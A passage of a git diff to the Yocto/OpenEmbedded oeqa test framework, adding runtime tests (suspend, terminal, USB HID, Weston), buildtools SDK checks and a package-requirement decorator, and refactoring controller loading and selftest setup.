+ self.assertEqual(status, 0, msg = 'Not able to find process that runs ping, output : %s' % output)
+
+ def set_suspend(self):
+ (status, output) = self.target.run('sudo rtcwake -m mem -s 10')
+ self.assertEqual(status, 0, msg = 'Failed to suspends your system to RAM, output : %s' % output)
+
+ @skipIfQemu('qemuall', 'Test only runs on real hardware')
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ def test_suspend(self):
+ self.test_date()
+ self.test_ping()
+ self.set_suspend()
+ self.test_date()
+ self.test_ping()
diff --git a/meta/lib/oeqa/runtime/cases/terminal.py b/meta/lib/oeqa/runtime/cases/terminal.py
new file mode 100644
index 0000000000..8fcca99f47
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/terminal.py
@@ -0,0 +1,21 @@
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.runtime.decorator.package import OEHasPackage
+
+import threading
+import time
+
+class TerminalTest(OERuntimeTestCase):
+
+ @OEHasPackage(['matchbox-terminal'])
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ def test_terminal_running(self):
+ t_thread = threading.Thread(target=self.target.run, args=("export DISPLAY=:0 && matchbox-terminal -e 'sh -c \"uname -a && exec sh\"'",))
+ t_thread.start()
+ time.sleep(2)
+
+ status, output = self.target.run('pidof matchbox-terminal')
+ number_of_terminal = len(output.split())
+ self.assertEqual(number_of_terminal, 1, msg='There should be only one terminal being launched. Number of terminal launched : %s' % number_of_terminal)
+ self.target.run('kill -9 %s' % output)
+ self.assertEqual(status, 0, msg='Not able to find process that runs terminal.')
diff --git a/meta/lib/oeqa/runtime/cases/usb_hid.py b/meta/lib/oeqa/runtime/cases/usb_hid.py
new file mode 100644
index 0000000000..3c292cf661
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/usb_hid.py
@@ -0,0 +1,22 @@
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.core.decorator.data import skipIfQemu
+from oeqa.runtime.decorator.package import OEHasPackage
+
+class USB_HID_Test(OERuntimeTestCase):
+
+ def keyboard_mouse_simulation(self):
+ (status, output) = self.target.run('export DISPLAY=:0 && xdotool key F2 && xdotool mousemove 100 100')
+ return self.assertEqual(status, 0, msg = 'Failed to simulate keyboard/mouse input event, output : %s' % output)
+
+ def set_suspend(self):
+ (status, output) = self.target.run('sudo rtcwake -m mem -s 10')
+ return self.assertEqual(status, 0, msg = 'Failed to suspends your system to RAM, output : %s' % output)
+
+ @OEHasPackage(['xdotool'])
+ @skipIfQemu('qemuall', 'Test only runs on real hardware')
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ def test_USB_Hid_input(self):
+ self.keyboard_mouse_simulation()
+ self.set_suspend()
+ self.keyboard_mouse_simulation()
diff --git a/meta/lib/oeqa/runtime/cases/weston.py b/meta/lib/oeqa/runtime/cases/weston.py
new file mode 100644
index 0000000000..b81cc299ef
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/weston.py
@@ -0,0 +1,79 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.core.decorator.data import skipIfNotFeature
+from oeqa.runtime.decorator.package import OEHasPackage
+import threading
+import time
+
+class WestonTest(OERuntimeTestCase):
+ weston_log_file = '/tmp/weston-2.log'
+
+ @classmethod
+ def tearDownClass(cls):
+ cls.tc.target.run('rm %s' % cls.weston_log_file)
+
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ @OEHasPackage(['weston'])
+ def test_weston_running(self):
+ cmd ='%s | grep [w]eston-desktop-shell' % self.tc.target_cmds['ps']
+ status, output = self.target.run(cmd)
+ msg = ('Weston does not appear to be running %s' %
+ self.target.run(self.tc.target_cmds['ps'])[1])
+ self.assertEqual(status, 0, msg=msg)
+
+ def get_processes_of(self, target, error_msg):
+ status, output = self.target.run('pidof %s' % target)
+ self.assertEqual(status, 0, msg='Retrieve %s (%s) processes error: %s' % (target, error_msg, output))
+ return output.split(" ")
+
+ def get_weston_command(self, cmd):
+ return 'export XDG_RUNTIME_DIR=/run/user/`id -u weston`; export WAYLAND_DISPLAY=wayland-1; %s' % cmd
+
+ def run_weston_init(self):
+ if 'systemd' in self.tc.td['VIRTUAL-RUNTIME_init_manager']:
+ self.target.run('systemd-run --collect --unit=weston-ptest.service --uid=0 -p PAMName=login -p TTYPath=/dev/tty6 -E XDG_RUNTIME_DIR=/tmp -E WAYLAND_DISPLAY=wayland-0 /usr/bin/weston --socket=wayland-1 --log=%s' % self.weston_log_file)
+ else:
+ self.target.run(self.get_weston_command('openvt -- weston --socket=wayland-2 --log=%s' % self.weston_log_file))
+
+ def get_new_wayland_processes(self, existing_wl_processes):
+ try_cnt = 0
+ while try_cnt < 5:
+ time.sleep(5 + 5*try_cnt)
+ try_cnt += 1
+ wl_processes = self.get_processes_of('weston-desktop-shell', 'existing and new')
+ new_wl_processes = [x for x in wl_processes if x not in existing_wl_processes]
+ if new_wl_processes:
+ return new_wl_processes, try_cnt
+
+ return new_wl_processes, try_cnt
+
+ @OEHasPackage(['wayland-utils'])
+ def test_wayland_info(self):
+ if 'systemd' in self.tc.td['VIRTUAL-RUNTIME_init_manager']:
+ command = 'XDG_RUNTIME_DIR=/run wayland-info'
+ else:
+ command = self.get_weston_command('wayland-info')
+ status, output = self.target.run(command)
+ self.assertEqual(status, 0, msg='wayland-info error: %s' % output)
+
+ @OEHasPackage(['weston'])
+ def test_weston_can_initialize_new_wayland_compositor(self):
+ existing_wl_processes = self.get_processes_of('weston-desktop-shell', 'existing')
+ existing_weston_processes = self.get_processes_of('weston', 'existing')
+
+ weston_thread = threading.Thread(target=self.run_weston_init)
+ weston_thread.start()
+ new_wl_processes, try_cnt = self.get_new_wayland_processes(existing_wl_processes)
+ existing_and_new_weston_processes = self.get_processes_of('weston', 'existing and new')
+ new_weston_processes = [x for x in existing_and_new_weston_processes if x not in existing_weston_processes]
+ if 'systemd' in self.tc.td['VIRTUAL-RUNTIME_init_manager']:
+ self.target.run('systemctl stop weston-ptest.service')
+ else:
+ for w in new_weston_processes:
+ self.target.run('kill -9 %s' % w)
+ __, weston_log = self.target.run('cat %s' % self.weston_log_file)
+ self.assertTrue(new_wl_processes, msg='Could not get new weston-desktop-shell processes (%s, try_cnt:%s) weston log: %s' % (new_wl_processes, try_cnt, weston_log))
diff --git a/meta/lib/oeqa/runtime/cases/x32lib.py b/meta/lib/oeqa/runtime/cases/x32lib.py
index ddf220140e..f419c8f181 100644
--- a/meta/lib/oeqa/runtime/cases/x32lib.py
+++ b/meta/lib/oeqa/runtime/cases/x32lib.py
@@ -6,16 +6,21 @@ from oeqa.runtime.case import OERuntimeTestCase
from oeqa.core.decorator.depends import OETestDepends
from oeqa.core.decorator.data import skipIfNotInDataVar
+import subprocess
+
class X32libTest(OERuntimeTestCase):
@skipIfNotInDataVar('DEFAULTTUNE', 'x86-64-x32',
'DEFAULTTUNE is not set to x86-64-x32')
@OETestDepends(['ssh.SSHTest.test_ssh'])
def test_x32_file(self):
- cmd = 'readelf -h /bin/ls | grep Class | grep ELF32'
- status1 = self.target.run(cmd)[0]
- cmd = 'readelf -h /bin/ls | grep Machine | grep X86-64'
- status2 = self.target.run(cmd)[0]
- msg = ("/bin/ls isn't an X86-64 ELF32 binary. readelf says: %s" %
- self.target.run("readelf -h /bin/ls")[1])
+ dest = self.td.get('T', '') + "/ls.x32test"
+ self.target.copyFrom("/bin/ls", dest)
+ cmd = 'readelf -h {} | grep Class | grep ELF32'.format(dest)
+ status1 = subprocess.call(cmd, shell=True)
+ cmd = 'readelf -h {} | grep Machine | grep X86-64'.format(dest)
+ status2 = subprocess.call(cmd, shell=True)
+ msg = ("/bin/ls isn't an X86-64 ELF32 binary. readelf says:\n{}".format(
+ subprocess.check_output("readelf -h {}".format(dest), shell=True).decode()))
+ os.remove(dest)
self.assertTrue(status1 == 0 and status2 == 0, msg=msg)
diff --git a/meta/lib/oeqa/runtime/context.py b/meta/lib/oeqa/runtime/context.py
index ef738a3359..d707ab263a 100644
--- a/meta/lib/oeqa/runtime/context.py
+++ b/meta/lib/oeqa/runtime/context.py
@@ -5,6 +5,7 @@
#
import os
+import sys
from oeqa.core.context import OETestContext, OETestContextExecutor
from oeqa.core.target.ssh import OESSHTarget
@@ -47,6 +48,7 @@ class OERuntimeTestContextExecutor(OETestContextExecutor):
default_data = None
default_test_data = 'data/testdata.json'
default_tests = ''
+ default_json_result_dir = '%s-results' % name
default_target_type = 'simpleremote'
default_manifest = 'data/manifest'
@@ -77,7 +79,7 @@ class OERuntimeTestContextExecutor(OETestContextExecutor):
runtime_group.add_argument('--packages-manifest', action='store',
default=self.default_manifest,
- help="Package manifest of the image under testi, default: %s" \
+ help="Package manifest of the image under test, default: %s" \
% self.default_manifest)
runtime_group.add_argument('--extract-dir', action='store',
@@ -98,6 +100,12 @@ class OERuntimeTestContextExecutor(OETestContextExecutor):
target_ip = target_ip_port[0]
kwargs['port'] = target_ip_port[1]
+ if server_ip:
+ server_ip_port = server_ip.split(':')
+ if len(server_ip_port) == 2:
+ server_ip = server_ip_port[0]
+ kwargs['server_port'] = int(server_ip_port[1])
+
if target_type == 'simpleremote':
target = OESSHTarget(logger, target_ip, server_ip, **kwargs)
elif target_type == 'qemu':
@@ -112,8 +120,7 @@ class OERuntimeTestContextExecutor(OETestContextExecutor):
# XXX: Don't base your targets on this code it will be refactored
# in the near future.
# Custom target module loading
- target_modules_path = kwargs.get('target_modules_path', '')
- controller = OERuntimeTestContextExecutor.getControllerModule(target_type, target_modules_path)
+ controller = OERuntimeTestContextExecutor.getControllerModule(target_type)
target = controller(logger, target_ip, server_ip, **kwargs)
return target
@@ -123,15 +130,15 @@ class OERuntimeTestContextExecutor(OETestContextExecutor):
# AttributeError raised if not found.
# ImportError raised if a provided module can not be imported.
@staticmethod
- def getControllerModule(target, target_modules_path):
- controllerslist = OERuntimeTestContextExecutor._getControllerModulenames(target_modules_path)
+ def getControllerModule(target):
+ controllerslist = OERuntimeTestContextExecutor._getControllerModulenames()
controller = OERuntimeTestContextExecutor._loadControllerFromName(target, controllerslist)
return controller
# Return a list of all python modules in lib/oeqa/controllers for each
# layer in bbpath
@staticmethod
- def _getControllerModulenames(target_modules_path):
+ def _getControllerModulenames():
controllerslist = []
@@ -146,9 +153,8 @@ class OERuntimeTestContextExecutor(OETestContextExecutor):
else:
raise RuntimeError("Duplicate controller module found for %s. Layers should create unique controller module names" % module)
- extpath = target_modules_path.split(':')
- for p in extpath:
- controllerpath = os.path.join(p, 'lib', 'oeqa', 'controllers')
+ for p in sys.path:
+ controllerpath = os.path.join(p, 'oeqa', 'controllers')
if os.path.exists(controllerpath):
add_controller_list(controllerpath)
return controllerslist
@@ -168,17 +174,13 @@ class OERuntimeTestContextExecutor(OETestContextExecutor):
# Search for and return a controller or None from given module name
@staticmethod
def _loadControllerFromModule(target, modulename):
- obj = None
- # import module, allowing it to raise import exception
- module = __import__(modulename, globals(), locals(), [target])
- # look for target class in the module, catching any exceptions as it
- # is valid that a module may not have the target class.
try:
- obj = getattr(module, target)
- except:
- obj = None
- return obj
-
+ import importlib
+ module = importlib.import_module(modulename)
+ return getattr(module, target)
+ except AttributeError:
+ return None
+
@staticmethod
def readPackagesManifest(manifest):
if not manifest or not os.path.exists(manifest):
diff --git a/meta/lib/oeqa/runtime/decorator/package.py b/meta/lib/oeqa/runtime/decorator/package.py
index 4c5ca198b0..2d7e174dbf 100644
--- a/meta/lib/oeqa/runtime/decorator/package.py
+++ b/meta/lib/oeqa/runtime/decorator/package.py
@@ -45,12 +45,42 @@ class OEHasPackage(OETestDecorator):
msg = 'Checking if %s is not installed' % ', '.join(unneed_pkgs)
self.logger.debug(msg)
if not self.case.tc.image_packages.isdisjoint(unneed_pkgs):
- msg = "Test can't run with %s installed" % ', or'.join(unneed_pkgs)
- self.case.skipTest(msg)
+ msg = "Test can't run with %s installed" % ', or '.join(unneed_pkgs)
+ self._decorator_fail(msg)
if need_pkgs:
msg = 'Checking if at least one of %s is installed' % ', '.join(need_pkgs)
self.logger.debug(msg)
if self.case.tc.image_packages.isdisjoint(need_pkgs):
- msg = "Test requires %s to be installed" % ', or'.join(need_pkgs)
- self.case.skipTest(msg)
+ msg = "Test requires %s to be installed" % ', or '.join(need_pkgs)
+ self._decorator_fail(msg)
+
+ def _decorator_fail(self, msg):
+ self.case.skipTest(msg)
+
+@registerDecorator
+class OERequirePackage(OEHasPackage):
+ """
+ Checks if image has packages (un)installed.
+ It is almost the same as OEHasPackage, but if dependencies are missing
+ the test case fails.
+
+ The argument must be a string, set, or list of packages that must be
+ installed or not present in the image.
+
+ The way to tell a package must not be in an image is using an
+ exclamation point ('!') before the name of the package.
+
+ If test depends on pkg1 or pkg2 you need to use:
+ @OERequirePackage({'pkg1', 'pkg2'})
+
+ If test depends on pkg1 and pkg2 you need to use:
+ @OERequirePackage('pkg1')
+ @OERequirePackage('pkg2')
+
+ If test depends on pkg1 but pkg2 must not be present use:
+ @OERequirePackage({'pkg1', '!pkg2'})
+ """
+
+ def _decorator_fail(self, msg):
+ self.case.fail(msg)
diff --git a/meta/lib/oeqa/runtime/files/hello.stp b/meta/lib/oeqa/runtime/files/hello.stp
deleted file mode 100644
index 3677147162..0000000000
--- a/meta/lib/oeqa/runtime/files/hello.stp
+++ /dev/null
@@ -1 +0,0 @@
-probe oneshot { println("hello world") }
diff --git a/meta/lib/oeqa/sdk/buildtools-cases/README b/meta/lib/oeqa/sdk/buildtools-cases/README
new file mode 100644
index 0000000000..d4f20faa9f
--- /dev/null
+++ b/meta/lib/oeqa/sdk/buildtools-cases/README
@@ -0,0 +1,2 @@
+These test cases are used by buildtools-tarball, and are not used by the testsdk
+class.
diff --git a/meta/lib/oeqa/sdk/buildtools-cases/build.py b/meta/lib/oeqa/sdk/buildtools-cases/build.py
new file mode 100644
index 0000000000..aee2e5a8c0
--- /dev/null
+++ b/meta/lib/oeqa/sdk/buildtools-cases/build.py
@@ -0,0 +1,30 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+import os, tempfile
+import time
+from oeqa.sdk.case import OESDKTestCase
+from oeqa.utils.subprocesstweak import errors_have_output
+errors_have_output()
+
+class BuildTests(OESDKTestCase):
+ """
+ Verify that bitbake can build virtual/libc inside the buildtools.
+ """
+ def test_libc(self):
+ with tempfile.TemporaryDirectory(prefix='bitbake-build-', dir=self.tc.sdk_dir) as testdir:
+ corebase = self.td['COREBASE']
+
+ self._run('. %s/oe-init-build-env %s' % (corebase, testdir))
+ with open(os.path.join(testdir, 'conf', 'local.conf'), 'ta') as conf:
+ conf.write('\n')
+ conf.write('DL_DIR = "%s"\n' % self.td['DL_DIR'])
+
+ try:
+ self._run('. %s/oe-init-build-env %s && bitbake virtual/libc' % (corebase, testdir))
+ finally:
+ delay = 10
+ while delay and (os.path.exists(testdir + "/bitbake.lock") or os.path.exists(testdir + "/cache/hashserv.db-wal")):
+ time.sleep(1)
+ delay = delay - 1
diff --git a/meta/lib/oeqa/sdk/buildtools-cases/gcc.py b/meta/lib/oeqa/sdk/buildtools-cases/gcc.py
new file mode 100644
index 0000000000..36ba15b134
--- /dev/null
+++ b/meta/lib/oeqa/sdk/buildtools-cases/gcc.py
@@ -0,0 +1,29 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+import os.path
+from oeqa.sdk.case import OESDKTestCase
+
+class GccTests(OESDKTestCase):
+ def test_verify_specs(self):
+ """
+ Verify that the compiler has been relocated successfully and isn't
+ looking in the hard-coded prefix.
+ """
+ # Canonicalise the SDK root
+ sdk_base = os.path.realpath(self.tc.sdk_dir)
+ # Canonicalise the location of GCC
+ gcc_path = os.path.realpath(self._run("command -v gcc").strip())
+ # Skip the test if the GCC didn't come from the buildtools, as it only
+ # comes with buildtools-extended-tarball.
+ if os.path.commonprefix((sdk_base, gcc_path)) != sdk_base:
+ self.skipTest("Buildtools does not provide GCC")
+
+ # This is the prefix that GCC is build with, and should be replaced at
+ # installation time.
+ sdkpath = self.td.get("SDKPATH")
+ self.assertTrue(sdkpath)
+
+ for line in self._run('gcc -dumpspecs').splitlines():
+ self.assertNotIn(sdkpath, line)
diff --git a/meta/lib/oeqa/sdk/buildtools-cases/https.py b/meta/lib/oeqa/sdk/buildtools-cases/https.py
new file mode 100644
index 0000000000..35e549eb40
--- /dev/null
+++ b/meta/lib/oeqa/sdk/buildtools-cases/https.py
@@ -0,0 +1,20 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+from oeqa.sdk.case import OESDKTestCase
+from oeqa.utils.subprocesstweak import errors_have_output
+errors_have_output()
+
+class HTTPTests(OESDKTestCase):
+ """
+ Verify that HTTPS certificates are working correctly, as this depends on
+ environment variables being set correctly.
+ """
+
+ def test_wget(self):
+ self._run('env -i wget --debug --output-document /dev/null https://yoctoproject.org/connectivity.html')
+
+ def test_python(self):
+ # urlopen() returns a file-like object on success and throws an exception otherwise
+ self._run('python3 -c \'import urllib.request; urllib.request.urlopen("https://yoctoproject.org/connectivity.html")\'')
diff --git a/meta/lib/oeqa/sdk/buildtools-cases/sanity.py b/meta/lib/oeqa/sdk/buildtools-cases/sanity.py
new file mode 100644
index 0000000000..64baaa8f84
--- /dev/null
+++ b/meta/lib/oeqa/sdk/buildtools-cases/sanity.py
@@ -0,0 +1,22 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+import shutil
+import os.path
+from oeqa.sdk.case import OESDKTestCase
+
+class SanityTests(OESDKTestCase):
+ def test_tools(self):
+ """
+ Test that wget and tar come from the buildtools, not the host. This
+ verifies that the buildtools have installed correctly. We can't check
+ for gcc as that is only installed by buildtools-extended.
+ """
+ for command in ("tar", "wget"):
+ # Canonicalise the SDK root
+ sdk_base = os.path.realpath(self.tc.sdk_dir)
+ # Canonicalise the location of this command
+ tool_path = os.path.realpath(self._run("command -v %s" % command).strip())
+ # Assert that the tool was found inside the SDK root
+ self.assertEquals(os.path.commonprefix((sdk_base, tool_path)), sdk_base)
diff --git a/meta/lib/oeqa/sdk/case.py b/meta/lib/oeqa/sdk/case.py
index ebb03af9eb..c45882689c 100644
--- a/meta/lib/oeqa/sdk/case.py
+++ b/meta/lib/oeqa/sdk/case.py
@@ -26,7 +26,7 @@ class OESDKTestCase(OETestCase):
return tarball
tarball = os.path.join(workdir, archive)
- subprocess.check_output(["wget", "-O", tarball, url])
+ subprocess.check_output(["wget", "-O", tarball, url], stderr=subprocess.STDOUT)
return tarball
def check_elf(self, path, target_os=None, target_arch=None):
diff --git a/meta/lib/oeqa/sdk/cases/assimp.py b/meta/lib/oeqa/sdk/cases/assimp.py
index f26b17f2e9..f166758e49 100644
--- a/meta/lib/oeqa/sdk/cases/assimp.py
+++ b/meta/lib/oeqa/sdk/cases/assimp.py
@@ -30,7 +30,7 @@ class BuildAssimp(OESDKTestCase):
dirs["build"] = os.path.join(testdir, "build")
dirs["install"] = os.path.join(testdir, "install")
- subprocess.check_output(["tar", "xf", tarball, "-C", testdir])
+ subprocess.check_output(["tar", "xf", tarball, "-C", testdir], stderr=subprocess.STDOUT)
self.assertTrue(os.path.isdir(dirs["source"]))
os.makedirs(dirs["build"])
diff --git a/meta/lib/oeqa/sdk/cases/buildcpio.py b/meta/lib/oeqa/sdk/cases/buildcpio.py
index 0a5e68d5fd..e7fc211a47 100644
--- a/meta/lib/oeqa/sdk/cases/buildcpio.py
+++ b/meta/lib/oeqa/sdk/cases/buildcpio.py
@@ -17,18 +17,19 @@ class BuildCpioTest(OESDKTestCase):
"""
def test_cpio(self):
with tempfile.TemporaryDirectory(prefix="cpio-", dir=self.tc.sdk_dir) as testdir:
- tarball = self.fetch(testdir, self.td["DL_DIR"], "https://ftp.gnu.org/gnu/cpio/cpio-2.12.tar.gz")
+ tarball = self.fetch(testdir, self.td["DL_DIR"], "https://ftp.gnu.org/gnu/cpio/cpio-2.13.tar.gz")
dirs = {}
- dirs["source"] = os.path.join(testdir, "cpio-2.12")
+ dirs["source"] = os.path.join(testdir, "cpio-2.13")
dirs["build"] = os.path.join(testdir, "build")
dirs["install"] = os.path.join(testdir, "install")
- subprocess.check_output(["tar", "xf", tarball, "-C", testdir])
+ subprocess.check_output(["tar", "xf", tarball, "-C", testdir], stderr=subprocess.STDOUT)
self.assertTrue(os.path.isdir(dirs["source"]))
os.makedirs(dirs["build"])
- self._run("cd {build} && {source}/configure $CONFIGURE_FLAGS".format(**dirs))
+ self._run("sed -i -e '/char.*program_name/d' {source}/src/global.c".format(**dirs))
+ self._run("cd {build} && {source}/configure --disable-maintainer-mode $CONFIGURE_FLAGS".format(**dirs))
self._run("cd {build} && make -j".format(**dirs))
self._run("cd {build} && make install DESTDIR={install}".format(**dirs))
diff --git a/meta/lib/oeqa/sdk/cases/buildepoxy.py b/meta/lib/oeqa/sdk/cases/buildepoxy.py
index 4211955f8d..385f8ccca8 100644
--- a/meta/lib/oeqa/sdk/cases/buildepoxy.py
+++ b/meta/lib/oeqa/sdk/cases/buildepoxy.py
@@ -28,7 +28,7 @@ class EpoxyTest(OESDKTestCase):
dirs["build"] = os.path.join(testdir, "build")
dirs["install"] = os.path.join(testdir, "install")
- subprocess.check_output(["tar", "xf", tarball, "-C", testdir])
+ subprocess.check_output(["tar", "xf", tarball, "-C", testdir], stderr=subprocess.STDOUT)
self.assertTrue(os.path.isdir(dirs["source"]))
os.makedirs(dirs["build"])
diff --git a/meta/lib/oeqa/sdk/cases/buildgalculator.py b/meta/lib/oeqa/sdk/cases/buildgalculator.py
index bbaa5c55c9..eb3c8ddf39 100644
--- a/meta/lib/oeqa/sdk/cases/buildgalculator.py
+++ b/meta/lib/oeqa/sdk/cases/buildgalculator.py
@@ -31,11 +31,11 @@ class GalculatorTest(OESDKTestCase):
dirs["build"] = os.path.join(testdir, "build")
dirs["install"] = os.path.join(testdir, "install")
- subprocess.check_output(["tar", "xf", tarball, "-C", testdir])
+ subprocess.check_output(["tar", "xf", tarball, "-C", testdir], stderr=subprocess.STDOUT)
self.assertTrue(os.path.isdir(dirs["source"]))
os.makedirs(dirs["build"])
- self._run("cd {source} && autoreconf -i -f -I $OECORE_TARGET_SYSROOT/usr/share/aclocal -I m4".format(**dirs))
+ self._run("cd {source} && sed -i -e '/s_preferences.*prefs;/d' src/main.c && autoreconf -i -f -I $OECORE_TARGET_SYSROOT/usr/share/aclocal -I m4".format(**dirs))
self._run("cd {build} && {source}/configure $CONFIGURE_FLAGS".format(**dirs))
self._run("cd {build} && make -j".format(**dirs))
self._run("cd {build} && make install DESTDIR={install}".format(**dirs))
diff --git a/meta/lib/oeqa/sdk/cases/buildlzip.py b/meta/lib/oeqa/sdk/cases/buildlzip.py
index 515acd2891..49ae756bf3 100644
--- a/meta/lib/oeqa/sdk/cases/buildlzip.py
+++ b/meta/lib/oeqa/sdk/cases/buildlzip.py
@@ -20,7 +20,7 @@ class BuildLzipTest(OESDKTestCase):
dirs["build"] = os.path.join(testdir, "build")
dirs["install"] = os.path.join(testdir, "install")
- subprocess.check_output(["tar", "xf", tarball, "-C", testdir])
+ subprocess.check_output(["tar", "xf", tarball, "-C", testdir], stderr=subprocess.STDOUT)
self.assertTrue(os.path.isdir(dirs["source"]))
os.makedirs(dirs["build"])
diff --git a/meta/lib/oeqa/sdk/context.py b/meta/lib/oeqa/sdk/context.py
index 09e77c19fe..01c38c24e6 100644
--- a/meta/lib/oeqa/sdk/context.py
+++ b/meta/lib/oeqa/sdk/context.py
@@ -136,7 +136,7 @@ class OESDKTestContextExecutor(OETestContextExecutor):
sdk_envs = OESDKTestContextExecutor._get_sdk_environs(args.sdk_dir)
if not sdk_envs:
raise argparse_oe.ArgumentUsageError("No available SDK "\
- "enviroments found at %s" % args.sdk_dir, self.name)
+ "environments found at %s" % args.sdk_dir, self.name)
if args.list_sdk_env:
self._display_sdk_envs(logger.info, args, sdk_envs)
diff --git a/meta/lib/oeqa/sdkext/cases/devtool.py b/meta/lib/oeqa/sdkext/cases/devtool.py
index 8e92bf8064..a5c6a76e02 100644
--- a/meta/lib/oeqa/sdkext/cases/devtool.py
+++ b/meta/lib/oeqa/sdkext/cases/devtool.py
@@ -20,10 +20,16 @@ class DevtoolTest(OESDKExtTestCase):
myapp_src = os.path.join(cls.tc.esdk_files_dir, "myapp")
cls.myapp_dst = os.path.join(cls.tc.sdk_dir, "myapp")
shutil.copytree(myapp_src, cls.myapp_dst)
+ subprocess.check_output(['git', 'init', '.'], cwd=cls.myapp_dst)
+ subprocess.check_output(['git', 'add', '.'], cwd=cls.myapp_dst)
+ subprocess.check_output(['git', 'commit', '-m', "'test commit'"], cwd=cls.myapp_dst)
myapp_cmake_src = os.path.join(cls.tc.esdk_files_dir, "myapp_cmake")
cls.myapp_cmake_dst = os.path.join(cls.tc.sdk_dir, "myapp_cmake")
shutil.copytree(myapp_cmake_src, cls.myapp_cmake_dst)
+ subprocess.check_output(['git', 'init', '.'], cwd=cls.myapp_cmake_dst)
+ subprocess.check_output(['git', 'add', '.'], cwd=cls.myapp_cmake_dst)
+ subprocess.check_output(['git', 'commit', '-m', "'test commit'"], cwd=cls.myapp_cmake_dst)
@classmethod
def tearDownClass(cls):
diff --git a/meta/lib/oeqa/sdkext/testsdk.py b/meta/lib/oeqa/sdkext/testsdk.py
index 785b5dda53..159f0d135b 100644
--- a/meta/lib/oeqa/sdkext/testsdk.py
+++ b/meta/lib/oeqa/sdkext/testsdk.py
@@ -25,11 +25,8 @@ class TestSDKExt(TestSDKBase):
subprocesstweak.errors_have_output()
- # extensible sdk can be contaminated if native programs are
- # in PATH, i.e. use perl-native instead of eSDK one.
- paths_to_avoid = [d.getVar('STAGING_DIR'),
- d.getVar('BASE_WORKDIR')]
- os.environ['PATH'] = avoid_paths_in_environ(paths_to_avoid)
+ # We need the original PATH for testing the eSDK, not with our manipulations
+ os.environ['PATH'] = d.getVar("BB_ORIGENV", False).getVar("PATH")
tcname = d.expand("${SDK_DEPLOY}/${TOOLCHAINEXT_OUTPUTNAME}.sh")
if not os.path.exists(tcname):
@@ -70,10 +67,10 @@ class TestSDKExt(TestSDKBase):
# and we don't spend hours downloading kernels for the kernel module test
# Abuse auto.conf since local.conf would be overwritten by the SDK
with open(os.path.join(sdk_dir, 'conf', 'auto.conf'), 'a+') as f:
- f.write('SSTATE_MIRRORS += " \\n file://.* file://%s/PATH"\n' % test_data.get('SSTATE_DIR'))
+ f.write('SSTATE_MIRRORS += "file://.* file://%s/PATH"\n' % test_data.get('SSTATE_DIR'))
f.write('SOURCE_MIRROR_URL = "file://%s"\n' % test_data.get('DL_DIR'))
f.write('INHERIT += "own-mirrors"\n')
- f.write('PREMIRRORS_prepend = " git://git.yoctoproject.org/.* git://%s/git2/git.yoctoproject.org.BASENAME \\n "\n' % test_data.get('DL_DIR'))
+ f.write('PREMIRRORS:prepend = "git://git.yoctoproject.org/.* git://%s/git2/git.yoctoproject.org.BASENAME "\n' % test_data.get('DL_DIR'))
# We need to do this in case we have a minimal SDK
subprocess.check_output(". %s > /dev/null; devtool sdk-install meta-extsdk-toolchain" % \
@@ -102,6 +99,9 @@ class TestSDKExt(TestSDKBase):
if not result.wasSuccessful():
fail = True
+ # Clean the workspace/sources to avoid `devtool add' failure because of non-empty source directory
+ bb.utils.remove(sdk_dir+'workspace/sources', True)
+
if fail:
bb.fatal("%s - FAILED - check the task log and the commands log" % pn)
diff --git a/meta/lib/oeqa/selftest/case.py b/meta/lib/oeqa/selftest/case.py
index ac3308d8a4..dcad4f76ec 100644
--- a/meta/lib/oeqa/selftest/case.py
+++ b/meta/lib/oeqa/selftest/case.py
@@ -6,7 +6,6 @@
import sys
import os
-import shutil
import glob
import errno
from unittest.util import safe_repr
@@ -30,9 +29,7 @@ class OESelftestTestCase(OETestCase):
cls.builddir = cls.tc.config_paths['builddir']
cls.localconf_path = cls.tc.config_paths['localconf']
- cls.localconf_backup = cls.tc.config_paths['localconf_class_backup']
cls.local_bblayers_path = cls.tc.config_paths['bblayers']
- cls.local_bblayers_backup = cls.tc.config_paths['bblayers_class_backup']
cls.testinc_path = os.path.join(cls.tc.config_paths['builddir'],
"conf/selftest.inc")
@@ -43,8 +40,7 @@ class OESelftestTestCase(OETestCase):
cls._track_for_cleanup = [
cls.testinc_path, cls.testinc_bblayers_path,
- cls.machineinc_path, cls.localconf_backup,
- cls.local_bblayers_backup]
+ cls.machineinc_path]
cls.add_include()
@@ -102,30 +98,6 @@ class OESelftestTestCase(OETestCase):
def setUp(self):
super(OESelftestTestCase, self).setUp()
os.chdir(self.builddir)
- # Check if local.conf or bblayers.conf files backup exists
- # from a previous failed test and restore them
- if os.path.isfile(self.localconf_backup) or os.path.isfile(
- self.local_bblayers_backup):
- self.logger.debug("\
-Found a local.conf and/or bblayers.conf backup from a previously aborted test.\
-Restoring these files now, but tests should be re-executed from a clean environment\
-to ensure accurate results.")
- try:
- shutil.copyfile(self.localconf_backup, self.localconf_path)
- except OSError as e:
- if e.errno != errno.ENOENT:
- raise
- try:
- shutil.copyfile(self.local_bblayers_backup,
- self.local_bblayers_path)
- except OSError as e:
- if e.errno != errno.ENOENT:
- raise
- else:
- # backup local.conf and bblayers.conf
- shutil.copyfile(self.localconf_path, self.localconf_backup)
- shutil.copyfile(self.local_bblayers_path, self.local_bblayers_backup)
- self.logger.debug("Creating local.conf and bblayers.conf backups.")
# we don't know what the previous test left around in config or inc files
# if it failed so we need a fresh start
try:
diff --git a/meta/lib/oeqa/selftest/cases/_sstatetests_noauto.py b/meta/lib/oeqa/selftest/cases/_sstatetests_noauto.py
index f7c356ad09..7ac03f0cec 100644
--- a/meta/lib/oeqa/selftest/cases/_sstatetests_noauto.py
